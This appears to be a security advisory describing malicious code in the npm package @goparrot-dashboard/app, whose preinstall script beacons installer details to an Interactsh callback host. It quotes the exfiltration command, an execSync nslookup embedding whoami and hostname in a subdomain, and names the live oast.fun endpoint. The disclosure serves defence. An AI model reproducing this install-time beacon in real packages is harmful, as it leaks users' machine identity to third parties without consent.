Malicious code in @goparrot-dashboard/app (npm)

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)

The package declares a preinstall lifecycle script that runs node index.js automatically on npm install. index.js collects installer host identifiers — hostname, the output of whoami, and process.cwd() — and transmits them to a hardcoded Interactsh (oast.fun) callback host at iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")), and an HTTPS GET to https://<CALLBACK>/rootxravi-poc?... carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.